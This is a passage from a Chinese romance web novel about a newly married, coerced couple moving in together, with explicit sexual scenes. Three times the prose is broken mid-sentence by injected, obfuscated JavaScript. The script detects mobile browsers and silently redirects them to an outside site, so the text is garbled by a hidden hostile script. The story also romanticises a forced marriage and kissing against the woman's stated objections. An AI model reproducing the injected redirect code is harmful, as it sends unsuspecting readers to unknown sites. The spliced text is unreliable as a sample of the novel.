黎清昭就知道蒋辞会问,她露出个甜美的笑,把那道“上上签”从包里掏出来,两根手指捻着在蒋辞面前轻晃了晃,“还不错吧,蒋姨,上上签哦。” 蔺承则看着她那个傲骄样,觉得今天配合她弄虚作假搞了一台声东击西、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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结果被蔺承则戳穿了她的目的,“黎小姐是不想和我住在一起?” 黎清昭偷鸡不成蚀把米,只好乖乖就范。 但因为胸口中怄着这口怒气,搬东西这些天,她连别墅的大门都没踏进来过。甚至在今天进门之前,她都想好了怎么找茬儿,如果蔺承则不好好安置她的物品,她非得让他见识一下她的小脾气,然后摔上门潇洒离开。 可进门那一刻,她才发现,事与愿违,一切都被蔺承则安排得妥妥当当。 她的衣物多,他提前就给她准备好了衣帽间,把她的衣物按照季节、颜色、长短分类,挂得整整齐齐,她的宝贝瓶子待遇也很好,像原来一样,有一个房间是专门用来收集摆放这些东西的。 甚至,他为了照顾她的宝贝猫,特意提前找人安置了猫爬架。 黎清昭晃了晃神,只觉得一拳打在了棉花上,他细致到连她找茬儿的机会都不给。 黎清昭换好鞋,随手把包包扔在沙发上,就开始上下左右打量她的新家。 蔺承则的家和她想象中一样,是欧式简约风,一楼的鱼缸里还眼里几条鱼。黎清昭隔着浴缸逗了逗小鱼,突然想到自己那两只宝贝猫最爱抓鱼,便问蔺承则:“你确定要我现在就搬进来?” “我们已经结婚了。” 黎清昭勾了勾唇,“那我先说好,仙女和饭团是不能受到任何欺负的。”她挑了挑眉,摊手说:“如果有一天,你发现你的鱼少了,可千万别来找我。” 说完,转身就走。 她跑到二楼的时候,突然一道黑色的残影冲了出来,直接把她扑在了地上,一只拖鞋飞到了蔺承则脚边。 “啊啊啊啊啊啊啊啊!”黎清昭捂着脸就开始尖叫,只觉得一个毛茸茸的庞然大物往她怀里蹭。 “汪汪、嗷呜~”高大威猛的德牧见到她尖叫,似乎更兴奋了,也叫得更厉害。 “Titan,闭嘴。”蔺承则厉声喝斥,别墅里瞬间就安静下来。 Titan歪着脑袋坐在一旁,眼珠圆溜溜地看着缩成一团的黎清昭,似乎在纳闷,为什么你不喜欢我的欢迎仪式。 蔺承则弯腰去搀扶他的小妻子,黎清昭把他的手拍开,“你你你、你谎报军情,你不是说他可温柔了吗?” 蔺承则提前和她交代过家里养了一只德牧犬,让她做好心理准备。黎清昭虽然没养过狗,但是养过猫,她天生就喜欢小动物,所以对此没有任何异议。 哪知道Titan这么大的劲儿,一个熊扑给她撞出二里地。 “先起来。” 黎清昭坐在地上耍赖,“不行,我怕狗,我要回家自己家住。” 总算是给她个机会让她找到了借口。 Titan听到这话,又在她小腿上拱了拱,意思是你别把锅往我头上扣啊,我这么无辜。 黎清昭小脸一绷,把头往旁边一偏,“我要回家。” 蔺承则无奈地看了Titan一眼。 Titan无奈地吠了两声:我冤枉啊。 男人俯身,直接把自己的小妻子抱了起来,放到了卧室的沙发上,拎起她白皙的手腕检查一番,“我看看,受没受伤。” “我不管,我和他你只能留一个。”她决定给他施压。 黎清昭觉得,在她眼中,她的宝贝猫肯定比蔺承则重要。那么在男人眼中,德牧肯定也会比她重要,毕竟这只狗他养了五六年。 如果他选择狗狗,她就可以正儿八经地跑了。 毕竟,她真的没做好和他同居的准备。她这是赶鸭子上架,是被他逼的啊。 蔺承则看她没受伤,挑起她的下巴,直接堵上这张喋喋不休的小嘴,“黎清昭,别作。” 17. 同床共枕 黎清昭的话被男人彻底堵住,这不是他第一次吻她,却比第一次吻她的时候更为热烈。 蔺承则轻而易举地撬开她的贝齿,卷住柔软的小舌头,肆无忌惮地在她的口腔中搅动。他的技术太过娴熟,黎清昭轻而易举就被他亲得头脑发昏,小脸绯红。 蔺承则直接将她压在了沙发上,大掌扣住她的后脑勺,防止她逃跑。 黎清昭情不自禁地攥住他的衬衫领口,微仰着头,回应他的吻。 蔺承则太过敏感了,她仅仅是在他的舌尖抵了一下,他就敏锐地察觉到,因而更加肆无忌惮,将她亲得气喘吁吁,她双手攀上他的脖颈,发出愉悦的轻哼。 蔺承则被她小小的动作取悦到,用粗粝的指腹揉着她的耳垂,在她的耳边夸奖她:“真乖。” 黎清昭抿了抿湿润的嘴唇,眸色朦胧地看向他。 直到这一刻,她才反应过来,她居然被老混蛋给亲了,还给亲爽了。 “老混蛋,谁让你亲我的?”她是典型的得了好处就翻脸的人。 蔺承则又抹了抹红润唇畔上的银丝,闷笑两声。 男人的声音低沉悦耳,滚烫的呼吸打在她的脸上,让她更加别扭。 黎清昭用手去推他,“我要去洗漱。” 蔺承则抬手搭在沙发背上,轻而易举地拦住她的路。黎清昭要从另一边跑,他便又伸出另一只手,轻而易举地将她困在方寸之地。 “清昭,我记得婚前我说过,我不打算过无性婚姻。” “那也不许这么快呀!你得给我适应的时间。”她狡辩的能力很有一套。 蔺承则又凑近她三分,诱哄着说:“好孩子,让我再亲一下。” 看着男人三分迷醉的眼神,黎清昭觉得这男人有毒,他像是在给她喂毒药,她明明是抵触的、厌恶的,却又心甘情愿地饮鸩止渴。 蔺承则本来就没打算获得她的同意之后再决定亲不亲她,她是给点阳光就能把尾巴翘起来的人,他如果愿意给她时间来适应,这辈子他就准备好当和尚吧。 蔺承则一向不是个温柔的人,他骨子里强势、霸道,带着唯我独尊的气质。而这一套,显然被他轻而易举地用到了他的小妻子身上。 蔺承则再度钳住她的下巴,俯身,吻了上去。 和刚刚那个风卷残云的吻不同,这一次,他倒是温和很多,带着种温水煮青蛙的感觉,很快让黎清昭尝到了甜头。 小姑娘不知道在什么时候开始,变被动为主动,轻轻地吮咬他的唇畔。 女人到底和男人不同,做/爱的时候不同,接吻的时候也不同,黎清昭捧着他的脸细细地亲吻他。 蔺承则睁开眼睛垂眸看着她略显稚嫩的动作,看着她纤长的睫毛轻轻颤抖着。 他比任何时候都要爱她。 终于,黎清昭亲得舌根发麻、脑供血不足,才松开他,小声地喘气。 蔺承则很满意她刚刚的举动,摸了摸她的头发,“先去洗漱,今天忙了一天了,早点睡行不行?” 黎清昭突然从云里雾里的梦境中被人砸醒,她激灵地动了一下,咽了咽唾沫,她刚才居然主动亲了他! 她可真的是色迷心窍。 黎清昭把自己的忏悔写在了脸上,抿着唇一动不动。 “我今天睡哪?”她这才想起来解决自己的睡觉问题。 “就这个卧室,床单被罩都是阿姨今早晨新换的。款式都是我挑的,如果你不喜欢,可以按照你的喜好来。” 黎清昭看了眼藏蓝色的被褥,抬手捂住自己的脸,“你也要住这里吗?” 蔺承则觉得她这话很好笑,他们是新婚夫妻,不住在一起难不成要分居? 他单身多年,可不想好不容易有了个老婆还要过打光棍的苦命生活。 见蔺承则不说话,黎清昭只觉得天塌了,“我先去洗澡。” 说完,她光着脚一溜烟就跑了。蔺承则看了看隐藏在西裤之下蓬勃的欲念,轻叹一口气,心想小东西怎么这么矛盾。 亲了之后,又不认账。 如果能回到十分钟之前,黎清昭绝对会义正言辞地推开他,可惜没有如果。 黎清昭看着镜子中的自己,欲哭无泪,攥紧拳头,手舞足蹈,她真想跪下来求自己,不要那么好色。 她把手探到裙摆下,感觉到自己不该有的反应,气得直跺脚。 “黎清昭,你能不能有一些骨气!”她盯住镜子中的自己,恶狠狠地说。 好吧,她就是个没骨气的人,谁让她欲/望强呢,被人一撩就投降。 黎清昭觉得她现在就是一个矛盾体,一方面,她觉得她不喜欢蔺承则,还被他强迫着嫁了他,她是厌恶他的、憎恨他的,所以万万不能和他发生关系。另一方面,她又是一个正常的女人,也算是血气方刚的年龄,觉得既然都结婚了,做什么都是正常的。 整个洗漱的过程,黎清昭被这两种截然相反的情绪拉扯。 最后,她把身体擦干,决定还是分居比较好,至少还是要培养一些感情的。 她希望,她能生理上和心理上都心甘情愿,要不然她可太亏了。 做好决定,黎清昭湿着头发,穿着吊带睡裙出来,他看到男人正坐在电脑前忙工作。 黎清昭清了清嗓子,见到男人抬眸,她说:“在忙工作啊,那我就不打扰了,我睡客房就行。” 蔺承则把眼镜摘下来,揉了揉眉心,把电脑合上,“忙完了,睡吧。” “不是,我……”她支支吾吾地说,“我不喜欢和别人同床共枕。你明白吗?我会不舒服。而且,我睡觉很不老实,我嫂子说我半夜睡觉就跟大仗似的,为了避免我踢到你,我觉得我还是去隔壁睡吧。” 说完,她笑嘻嘻地就要跑。 蔺承则:“站住。” 很威严的一声,带着男人与生俱来的压迫感。 黎清昭的脚立刻生了锈,愣在原地,她多多少少还是有些怕他的。而且,今天是在他的地盘,家里连个阿姨都没有,他要杀人毁尸,她都没办法。 所以,她不敢惹他。 她蜷了蜷脚趾,头发上的水珠一滴一滴地往下坠。 蔺承则自然不知道他的小妻子的小脑袋里都在想些什么乱七八糟的东西,他起身,把她拉到椅子上,“先把头发吹干。” “哦。” “用我帮你吗?”他问。 黎清昭哪有这么大的脸,“不用。” “行,那你先吹,梳妆台上的护肤品和护发素都是你常用的牌子。吹完头发,你就先睡,我去洗澡。”他看了她一眼,故意吓唬她,“如果我回来发现你不在,别怪我打你屁股。” “你敢!” “你看看我敢不敢。” 黎清昭觉得她窝了一肚子气,这个狗东西,真的挺会拿捏她的。 人在屋檐下,不得不低头。黎大小姐思虑再三,还是乖乖吹干头发,然后上了床。她像蚕蛹一样用被子把自己裹得严严实实的,竖着耳朵听男人的动静。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173531|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过除了若隐若现的水声,她什么都听不到。 黎清昭心事重重,连玩手机的心思的没有,苦命地盯着天花板属羊。数着数着,她人就迷糊了,因为她发现,卧室里男人的存在感太强了。 即使床单被罩都是新换的,但还隐约残留着他身上的雪松味。 黎清昭别这种味道裹挟着,睡也不是,不睡也不是,浑身都难受。 不知道过了多久,浴室的门打开,男人也是穿着睡衣出来的。 蔺承则看了眼床上裹成鹌鹑的姑娘,勾了勾唇,慢条斯理地把头发吹干,才把其他的灯关掉,只留下一盏床头灯。 卧室骤然变黑,光线昏朦,黎清昭的心跳直线飙升,小心脏“砰砰砰”地跳个不停。 蔺承则掀开被子的一角,上了床,黎清昭瞬间就感觉到一股暖意。她吞了吞口水,攥紧手中的东西。 蔺承则借着微弱的光线打量着她的小脸,突然想起什么,拉开床头柜的抽屉,翻出一个红丝绒的方盒,里面是一枚定制的戒指。 是他给她准备的婚戒。 蔺承则取出戒指,就去摸她的手。 两人肌肤相触的那一刹,黎清昭的心提到了嗓子眼。 他是个强势的人,她怕他不温柔,怕他把她弄疼。她是个最怕疼的人,小时候磕到碰到破了皮,眼睛都得掉珍珠。 黎清昭倔强地和他抗衡,死活不把手伸出来,手里攥着的东西快要嵌入她的掌心,将她硌得生疼。 蔺承则不知道她又在闹什么,他俯身,解释说:“试一试戒指尺寸合不合适,不合适的话,我好找人改。” 黎清昭闻言,又乖巧把右手伸了出来。 蔺承则把戒指戴到了她的无名指上,指环的尺寸恰好合适。 “因为时间太匆忙,所以只有这一款戒指做好了,你先凑合着戴,改天我再送你其他的。” 黎清昭看了看手上的鸽子蛋,心想这还差不多,她就是得配这么好的东西。不过,面上的她却是很傲娇,她蜷了蜷手指,问他:“这种戒指怎么戴出去,这么显眼。” 蔺承则说到底终究是个男人,再细心也没办法敏锐地捕捉到女孩儿所有的小心思。家里关于衣帽间的设计,他其实都是参考了她家的布局,努力让设计师往她的喜好上靠。可婚戒这东西,他们都没结过婚,她平时也不爱戴戒指,所以他只能摸着石头过河。 “那你喜欢什么样的?”他问。 黎清昭扁了扁嘴,“反正不要这么大的,太夸张了,我不适应。这种东西只适合晚宴的时候戴一戴显摆。” “那改天我带你重新去选。” “好。” 黎清昭被他哄得挺高兴,又缩到被子里。 “那我关灯了。”他说。 “哦。” 灯光熄灭,黑暗会放大人的感受。黎清昭只觉得身边的热源距她越来越来,她的身上覆上了一道阴影,紧接着,滚烫的呼吸铺洒在她的脸上。 “等等!”黎清昭双手抵在他的胸膛上,小脸憋得通红,“那个……” 蔺承则趁她不备,在她的唇畔上亲了一下,随手就抬起她的手,把她掌心里的东西抢了出来。 “藏什么呢?”刚刚给她戴戒指的时候,他就发现了她的小动作。 蔺承则不用看,只需要摸一摸,就知道她藏的是什么东西。 “你准备的?”蔺承则又亲了亲她,“黎小姐这么贴心,知道我洗澡的时候在想着你自/慰,所以提前准备了避孕套?” 18. 新婚夜 黎清昭虽然是个小色批,但在自己毫不熟悉的新婚丈夫面前,她绝不承认。她是个有尊严的人,是个有骨气的人,绝对不会屈服于他的淫/威。 她抬手死死地按住他的嘴巴,“你在胡说些什么?” 蔺承则要开口,她把他的嘴巴按得更紧了一些,脸上带着娇羞,“你不要脸!” 卧室里一片漆黑,男人犀利的双眸盯住身下的小妻子,他故意去逗她,把那枚银色的塑料包装拿到她眼前,问她:“这个好像不是我准备的。” 黎清昭瞬间就蔫了,她才不会把睡觉之前复杂的心路历程透露给他呢。他根本不知道,在等他洗澡的过程中,她简直要纠结死了,难熬死了,恨不得找个地缝钻进去。 他逼着她和他睡同一间卧室,和他同床共枕,他的态度那么坚决,她理所当然的认为,他就是为了和她做/爱。 她不是不谙世事的小姑娘,当然要保护好自己。 这是她的底线。 她甚至觉得,他们这场婚姻就是蔺承则主宰的一场游戏。别看他现在兴致勃勃,指不定过多久他就腻了,他们只间就结束了。 她可以允许在婚姻期间履行妻子所谓的义务,但她不能真和他有个孩子。 黎清昭直接将他手上的东西打掉到床上,这样还不够,她直接扔到了地上,理直气壮地说:“是我准备的又怎么了?我这是有安全意识,是正当防卫。” “正当防卫?”蔺承则不可置信地重复这个词。 “本来就是,你知道的,我压根就不喜欢你。”她把脸往旁边一转,不看他。 蔺承则说不生气是假的,他即使再情绪稳定,还是能轻而易举被她惹得胸腔中怒火中烧。他知道她嘴硬,能言善辩,可没想到这把刀硬生生扎到他心尖上,原来这么痛。 他的妻子居然觉得和他做/爱时提前准备避孕套是为了正当防卫? 蔺承则被她气笑了,他抬手把她的小脸掰回来,在黑暗中端详着这双倔强的眼睛。 “这种话,以后不许再说。” 语气还是一如既往的霸道、强势,满是威严。 黎清昭讨厌被人威胁,尤其是被新婚丈夫威胁。 她甚至都弄不清他们为什么又开始针锋相对了,难听刻薄的话就夺口而出,“嘴长在我身上,我想说就说,你没权利干涉我。” 她轻哂一声,“蔺先生心虚什么?难不成是个怂包,刚做不敢当?你知道我是因为什么才嫁给你的,威逼利诱、强取豪夺,这些下三滥的手段你都用了,难道还不敢承认吗?你要是承认,我还能敬重你是一个男人、一条好汉,可你现在就会粉饰太平、自欺欺人,那就别怪我看不起你。” 说完,她又气哄哄地在他腿上踹了一脚,想把身上的男人推开,然后潇洒摔门离开。 可黎大小姐只沉浸在自己的情绪中,丝毫没注意到男人的脸色已经被自己气成了猪肝。 她推了他好几下,他愣是像一座大山覆在身上,牢牢地困住他。 “滚开!” 蔺承则把她的双手压在头顶,俯身就亲了上去,这个吻充满了惩戒的味道,毫无章法,他的舌头恶劣地在她的口腔中扫荡。 黎清昭被亲的连气都喘不匀,她一气之下,毫不留情地咬了他一口,很锋利的一口,鲜血味瞬间在两人口腔中蔓延。 男人低头,只见她忿忿地看着他,眼睛瞪得浑圆,眸中丝毫没有情/欲,全是对报复成功的得意。 也是,她压根就不是好欺负的姑娘。 蔺承则舔了舔嘴唇上的伤口,“这么厉害。” 黎清昭又挑衅地在他腿上踹了一脚,“滚开,否则我咬死你。” “你少咬我着?” 看着她气势汹汹地骂他,他反而没有那么气了。他觉得她说的对,的确是他强迫她的,他也明知道她不喜欢她,他凭什么因为多了一张结婚证,就理所当然地认为她的心也已经属于他了呢? 黎清昭不愿意和他废话,推着他的胸膛就往外跑,她好不容易挣脱了他的桎梏,翻身从床上爬起来。可脚还没落到地上,人就被他圈着腰拉了回来。 黎清昭突然意识到,和他结婚,她是真的落入虎口了。 “你放开我!好狗不挡道。” 蔺承则捏了捏她的鼻子,“谁是属狗的,整天咬人?” “你居然骂我是狗?” “不是你先骂我的?”他反问。 “那你还挺有自知之明。”她伶牙俐齿。 蔺承则重新把她按在身下,经过两人刚刚那一番纠缠,床上一片皱褶,她的睡裙也早就卷到了大腿根。 男人又啄了啄她的唇,解释:“你放心,我不会强迫你。” 黎清昭勉为其难觉得他这句话说的还算个人。 “好孩子,那让我先亲亲你好不好?” 黎清昭以为他又要故技重施强吻她,她捂不到他的嘴巴,就捂住自己的嘴巴,“没门儿,我说了,你再亲我,我就咬死你。” 蔺承则挑了挑眉,掌心粗粝的纹路抵在她的腿上,他弯下腰,平时强势惯了的男人此刻反到像是个虔诚的信徒。 “那就听你的,不亲你那。”他的目光极具侵略性,向下扫过。 黎清昭骤然醒悟,“你敢!你你你……”她指着他的鼻子不知所云。 “小乖,其实刚刚我吻你的时候,你就有感觉了对不对?”他毫不留情地戳穿她,他的语言太过直白,甚至在无形中剥去了她身上最后一层布料。 蔺承则滚烫的呼吸喷洒在她的身上,“清昭,别怕我。” 话音落下,黎清昭就彻底傻了。 她动了动小腿,被他抬手握住,他抬眸看了她一眼,笑出声来,“还不承认。” “老混蛋,你不许……”黎清昭被他亲得哭了出来。 上次她发烧,他在她家沙发上睡觉的时候,她就注意到了,他的鼻子生的特别好看,鼻梁高挺。 而现在,她切切实实地感受到了那硬挺高耸的鼻梁,抵着嫩嫩的肌肤。 黎清昭觉得自己简直快要被他亲死了,不对,是丢脸死了。 “混蛋!”她尝到了甜口,连骂人的语气都是软绵绵的。 “乖。”蔺承则还不忘抽空安抚她的情绪。 黎清昭抬手去抓他的头发,脸红着看他,她想骂他,可嘴唇轻颤了颤,眼泪却“啪嗒啪嗒”地落了下来。 她只觉得大脑闪过一道白光,躺在床上喘着粗气,眼泪顺着脸颊流下来。 蔺承则把她揽到怀里,轻轻地拍打着她的后背。黎清昭一句话都不想说,窝在他的肩上啜泣,“你就会欺负我。” “这也叫欺负你?”他故意去捏她的鼻子,“舒不舒服?” 黎清昭拍开他的手,“讨厌死了。” 她推开他,把睡裙的吊带重新挑到肩上,扯着被子就把自己裹了起来。 蔺承则勾了勾唇,掀开被子的另一端,钻了进去,“晚安。” 他忍不住,想去亲她,结果她盯着他的嘴巴嫌弃他,无论如何都不让她碰。 “还睡不睡了?”她气哄哄地瞪了他一眼。 蔺承则重新躺到她身边,“睡。” 可他怎么睡得着,他是个正常的男人,刚刚又服侍过年轻貌美的小妻子,尝过她的味道。 黎清昭也睡不着,她现在还神经敏感着呢,甚至还怀念刚刚的感觉。她闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184193|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,随便动一动胳膊,抻一抻腿,就能碰到她,她甚至能清晰地听到他炽热的呼吸声。 黎清昭忍无可忍,又出其不意地踹了他一脚,“你要是不好好睡,你就先去浴室解决一下!你喘那么大声干嘛?” 蔺承则觉得她这就叫得了便宜还卖乖,他胳膊支着头,侧躺着看她,故意逗她说:“不如昭昭来帮我。” 她瞪了他一眼,“你想都别想!” 说完,又捂住自己的嘴巴。 蔺承则笑出声来,接着逗她:“给没给别人做过?” 黎清昭轻哂一声,“我这辈子都不会给别人用嘴巴。”娇贵的小公主信誓旦旦地威胁他,“你最好别动这种歪心思,除非你不怕我咬死你。” 蔺承则勾了勾唇,附和着轻“嗯”一声,“平时自己会用玩具吗?” 黎清昭觉得自己今晚上就是太给他面子了,居然还和他聊天。她就应该装死,不和他说话,这样就不用前无声息被他套进了圈套。 “用你管。” 她想说玩具比你厉害多了,气气他。但话到嘴边,又被她生生咽了下去,她还不傻,她要是这个刺激他,依照他这个大男子主义的性格,肯定得收拾她,到时候遭殃的还是她。 蔺承则看着满脸防备的小妻子,不再逗她,他给她掖了掖被子,“睡吧。” 黎清昭立刻闭上眼睛数羊,一只羊,两只羊……她数着数着就乱套了,脑海里又在闪现刚刚他亲她的画面。 简直爽到爆炸。 果然,活人和死物的感觉就是不一样,人的唇是柔软的,舌头的温润的,呼吸是炙热的,就连掌心的纹路都是和她契合的。 即使很不想承认,但黎清昭却是很享受这种感觉。 她回味了一会儿,又觉得自己丢脸,她怎么会对他的反应这么热烈呢?如果不是他反应敏捷,悉数吞咽了,恐怕此时此刻这张床都没法睡觉了。 啊啊啊啊啊! 黎清昭在心里抓狂,越想越激动、越兴奋,同样也越想越羞涩、越羞愧…… 她这辈子好多个第一遭,都硬生生地折在了蔺承则这个老混蛋上,她丝毫不知道怎么面对这种复杂的情绪。 在这样的氛围下,黎清昭只觉得男人滚烫的肌肤将她裹挟,她和他亲密接触过,知道他的体温很高很高。 她真的睡不着了。 黎清昭抓了抓头发,竖着耳朵听动静,他呼吸均匀,应该是睡着了。 她蹑手蹑脚地爬起来,想换个房间睡,至少不要和他挨在一起。 结果男人自始至终也没睡,他睁开眼,“去哪?” “去、去厕所还不行吗?”她瞪了他一眼,蹩脚地找借口。 蔺承则没拆穿她,旁若无人地看了她演了一场戏。黎清昭清了清嗓子,又爬上床,“我睡觉了哦。” “嗯。” 黎清昭皱了皱鼻子,抱着抱枕就放在了两人中间,“楚河汉界,谁也不许越界。”她瞪了他一眼,先发制人,“不许凶我!我又没和你分房睡。” 蔺承则被她堵得哑口无言,他也不想两人今晚干瞪眼到天亮,便默认了她幼稚的举动。 有了“一堵墙”横在两人中间,黎清昭终于能舒一口气。她也实在是困极了、累极了,没过多久,就睡着了。 蔺承则听到她的呼吸声,把抱枕扔到地上,轻手轻脚把她揽在怀里。刚结婚,他才不想和她搞什么幼稚的三八线。他只想抱着她、霸占着她、圈着她、亲亲她,让她依偎在他的怀里。 黎清昭睡觉的时候很乖,轻哼两声,就主动抬手圈住了他的腰,鼻子在他的胸膛上蹭了蹭。 蔺承则又亲了亲她的鼻尖,“清昭,晚安。” 19. 系领带 次日一早,黎清昭睁开眼他就意识到一个事实,她和蔺承则是真过不到一起。暂且抛却他们之间有没有爱情不说,他们的生活作息完全不同。 她简直要被他气疯了。 她不理解他这么早起床是不是要赶投胎。 他自己起就起吧,为什么要把她弄醒? “你干嘛呀?你难道不知道我昨晚睡得很晚上吗?” 黎清昭一身戾气,她其实是硬生生被蔺承则给亲醒的,她起床气很严重,一巴掌就拍到了他的脖子上,随后就卷着被子把自己裹起来,头捂得严严实实的。 蔺承则单膝跪在床上,把被子从她头上掀开,“我知道。” “知道你还要叫醒我?你这就叫心思歹毒。”她从鼻子里哼出一口气。 蔺承则勾了勾唇,低头把袖扣戴好,又俯身去亲她的额头,他真的很享受一早醒来和她温存的感觉。 黎清昭真的很讨厌被迫跟他秀恩爱,她翻了个白眼,“不许亲我,赶紧走,我要睡回笼觉。” 蔺承则温声叮嘱她:“阿姨已经过来了,我一会儿要去公司,怕你醒过来见到家里有人,不适应。” “哦。” 她闭着眼,敷衍至极,他也不知道她听没听得进去他说的话。 “等下午我回来,陪你一起去把你的猫接过来。” 黎清昭睁开眼,睡眼惺忪地看着他,“不用你,我今天约了朋友逛街,等结束我顺路来接就行。” “和谁?”他刨根问底。 “不用你管。”她真觉得他这个丈夫当的比她爹还要事多,什么都要问,什么都要管。 “清昭,你就非得和我这么讲话,是我昨晚没伺候好你吗?”他挑眉,故意去捏她的小脸。 她刚睡醒,小脸白里透粉,特别靓丽可人。 黎清昭果不其然被他惹毛了,“你不许提。” “你这就是提上裤子不认人。”他故意逗她。 黎清昭踢开被子从床上坐起来,“你才提上裤子不认人,我哪有,明明是你把我裤子扒下来的。” 一晚上就聊这么禁忌的话题,蔺承则多少有点招架不住。如果说,以前的他只是沉浸在对她的臆想和幻想中,把她当作意/淫亵/渎的对象。 那昨晚他是切切实实地得到了她。他像是剥核桃一般,把她悉数吞没,吻遍她身上所有的敏感与柔弱。而她,别看面上梗着脖子骂他,泪眼汪汪地啜泣,可他知道,她是喜欢的。 取悦她,让他获得了前所未有的心理满足。 以至于今天一早,生物钟迫使他早早醒过来的时候,他看到她浑身柔软,软趴趴地窝在她的怀里,小腿霸道地骑着他的腰,他不可抑制地晨伯了。 这样的他,还怎么睡? 蔺承则细细回味着那种食髓知味的感觉,喉结滚动,目光灼热,虎视眈眈地看着她。 黎清昭本来还睡意朦胧,迷迷糊糊的,可看到男人狼一般的眼神,她立刻浑身起了一层鸡皮疙瘩。 “你想干嘛?”她警惕防备地看着他。 蔺承则敛眸,抬手从床头柜上拿到金色框眼镜,慢条斯理地戴上。 有了一层镜片过滤,他的目光柔和一些,侵略性也弱一些。 “不干嘛。”他突然坏心眼地去捉她的手,“清昭,帮我系领带。” “你在开什么玩笑?我又不是你的仆人。”黎大小姐从小到大没服侍过任何人,自然满脸不情愿。 “谁说这件事是仆人做的。?蔺承则圈着她的腰把她拉起来,“这是妻子做的,也只有妻子能做。” 黎清昭不情不愿地跪在床上,把两条胳膊搭在他的肩膀上,她轻哼一声,傲娇极了,用指尖戳了戳他的胸口,“你少给我戴高帽,想让我干活就直说,别找借口。” 她挑了挑眉,突然说:“除非,你求我。” 蔺承则攥住她乱动的手,其实他严重怀疑她刚刚的撩拨动作是故意的。他握着她的手放在自己的胸口,“我求你,行吗?” “你说什么,我没听见。” 黎清昭属于给点阳光就灿烂的人,她格外享受拿捏蔺承则的感觉。一个高高在上的男人,愿意低下头心甘情愿地求她,这种心理满足是其他事比不上的。 蔺承则刮了下她的鼻子,满脸宠溺,“尾巴又翘起来了。” 黎清昭轻“哼”一声,下巴微微上扬,似乎在等待着他的行动。 蔺承则妥协,在他眼中,和老婆说两句软话并不是什么难事,“求你。” 她立刻笑靥如花,把手摊开,大大方方地说:“领带拿来吧,看在你表现还不错的份上,我勉为其难帮一下你。” 蔺承则从衣帽间取出三条领带,一条宝蓝色白色条纹的,一条酒红色暗纹的,一条黑色复古的。 “请黎小姐帮我看看,哪条合适?” 黎清昭打量一下他今天的穿搭,非常典型的黑色衣服佩白衬衫,她拎起那条宝蓝色的领带,从他的脖子上绕过来,“这条合适,颜色亮一些,显得不那么老气。” 蔺承则看着他的小妻子认真地帮他系领带,这个角度,他微微低头,就能看到她白皙的胸膛,在黑色的吊带裙的映衬着,那条沟壑若隐若现,很迷人。 黎清昭好歹是个大小姐,她虽然性格嚣张跋扈,可早些年黎家也是切切实实把她当淑女培养的,除了琴棋书画这些基础课,她还学过茶艺、系领带这些礼仪。 只是没想到,她的第一次实践落在了蔺承则身上,蔺逸远可是都没有过这样的待遇。 黎清昭给他整理一下领口,抚平上面的褶皱,“你以后多添置一些亮一点的衣服,不要总是黑白灰三种颜色,多没意思。” 昨天去衣帽间的时候,和她那些颜色靓丽的裙子相比,他的衣物属实是略显黯淡,全都是暗色调。 也不是说他没有品味,他家里欧式风格的装修、衣服的版型、皮鞋的样式、香水的选择等等她都很满意。只不过,她不喜欢墨守成规,不喜欢一成不变,她觉得他这个天生的衣架子,就应该多尝试。 “那就劳烦黎小姐抽空帮我选一些。” 黎清昭撇了撇嘴,“你倒真是会顺杆爬。你要知道,我很少给男人花钱的。” 后半句是假话,她是个典型的恋爱脑,和蔺逸远在一起的时候,见到什么好东西都想着对方。 蔺承则又吻了下她的唇,从床头柜的抽屉里取出一张黑卡,塞进她的掌心,“辛苦蔺太太了。” 说完,他就把西装外套穿上,准备出门。 黎清昭打了个瞌睡,端详着这张卡,心想不要白不要,有总比没有强。 她随手把卡扔在一边,心想总算送走了这个事多的男人,应该再躺床上睡一觉。结果她刚抻着被子把自己卷进来,一抬眼,就看见Titan就乖巧地趴在床边,瞪着圆溜溜的眼睛歪着头看着她,也不知道他什么时候溜进来的。 “你看我干嘛?”她幼稚地和狗狗置气。 Titan站起来,大尾巴在她的胳膊上甩了甩,示意她跟着他出去。 黎清昭天生就喜欢毛茸茸的小动物,反正她也被折腾醒了,索性就看看Titan到底要干嘛,于是随手找了条白色的披肩裹在身上,穿上拖鞋就跟着Titan下楼。 Titan特别兴奋,他在前面跑,又时不时折返回来等一等黎清昭。 黎清昭跟着他到了楼下,看到阿姨做的满满的一桌子早点,才明白,Titan是叫她起来吃早饭。 “好狗,比你主人懂事。”黎清昭对着Titan一顿夸夸。 Titan高兴地趴在她脚边,把下巴抵在她的拖鞋上。 “Titan,你好黏人哦。既然你这么乖,那你也要和仙女还有饭团和平相处,等今天晚上,你就能见到他们了。” Titan哼哼唧唧叫了两声,表示知道了。 - 黎清昭吃过饭也没回去睡回笼觉,她美美化好妆,戴好首饰,换好衣服就去赴约。 她今天约了和赵悯粤见面。 赵悯粤和黎清昭是读大学的时候认识的,两人玩得比较好,上半年又和几个同学共同开了工作室。 前阵子,赵悯粤为了追回她那个金发碧眼的男友,抛下国内的琐事去了英国。 结果跨国的真心没被善待,彻底和男友决裂后,她最终失魂落魄地一个人回来。 